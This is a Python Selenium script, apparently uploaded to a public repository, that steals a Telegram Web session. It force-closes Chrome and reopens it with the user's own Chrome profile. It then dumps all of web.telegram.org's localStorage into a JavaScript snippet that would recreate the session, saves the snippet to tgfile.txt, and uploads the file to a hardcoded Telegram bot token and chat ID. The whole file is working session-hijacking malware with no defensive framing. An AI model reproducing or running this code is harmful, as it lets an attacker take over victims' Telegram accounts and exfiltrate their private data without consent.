vormik / gettg.py
vorms's picture
Upload 2 files
bc537bc verified
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
import time
import os
from selenium.webdriver.chrome.service import Service
import http.client
import json
username = os.getlogin() # Получаем имя текущего пользователя
os.system("taskkill /f /im chrome.exe /t")
user_data_dir = f"C:\\Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data"
# Инициализация драйвера (например, для Chrome)
chrome_driver_path = fr"C:\Users\{username}\chromedriver.exe"
# Создаем сервис для ChromeDriver
service = Service(chrome_driver_path)
# Опции для запуска Chrome с пользовательскими данными
options = webdriver.ChromeOptions()
# options.add_argument("--headless=new")
options.add_argument(f"user-data-dir={user_data_dir}") # Используем динамический путь
driver = webdriver.Chrome(service=service, options=options)
try:
# 1. Перейти по ссылке и дождаться загрузки
driver.get("https://web.telegram.org/")
time.sleep(5) # Ожидание загрузки страницы
# 2. Извлечь все значения из localstorage
local_storage = driver.execute_script("return window.localStorage;")
# 3. Создать JS скрипт для установки этих ключ-значение в localstorage
js_script = "window.localStorage.clear();\n"
for key, value in local_storage.items():
js_script += f'window.localStorage.setItem("{key}", "{value}");\n'
# 4. Вывести скрипт в консоль
print(js_script)
# 5. Сохранить скрипт в файл tgfile.txt
with open("tgfile.txt", "w", encoding="utf-8") as file:
file.write(js_script)
# 6. Отправить файл в Telegram
def send_file_to_telegram(token, chat_id, file_path):
# Генерация boundary для multipart/form-data
boundary = '----WebKitFormBoundary7MA4YWxkTrZu0gW'
# Чтение файла
with open(file_path, "rb") as file:
file_content = file.read()
# Формирование тела запроса
body = (
f'--{boundary}\r\n'
f'Content-Disposition: form-data; name="chat_id"\r\n\r\n'
f'{chat_id}\r\n'
f'--{boundary}\r\n'
f'Content-Disposition: form-data; name="document"; filename="{os.path.basename(file_path)}"\r\n'
f'Content-Type: text/plain\r\n\r\n'
).encode('utf-8') + file_content + f'\r\n--{boundary}--\r\n'.encode('utf-8')
# Заголовки запроса
headers = {
'Content-Type': f'multipart/form-data; boundary={boundary}',
}
# Отправка запроса
conn = http.client.HTTPSConnection("api.telegram.org")
conn.request("POST", f"/bot{token}/sendDocument", body, headers)
response = conn.getresponse()
print(response.status, response.reason)
data = response.read()
print(data.decode("utf-8"))
conn.close()
# Укажите ваш токен и chat_id
token = "8156619741:AAGbPEy3c6YCe_s0A9cc1toOTu6CYeQZf_4"
chat_id = "844252502"
send_file_to_telegram(token, chat_id, "tgfile.txt")
finally:
# Закрыть браузер
driver.quit()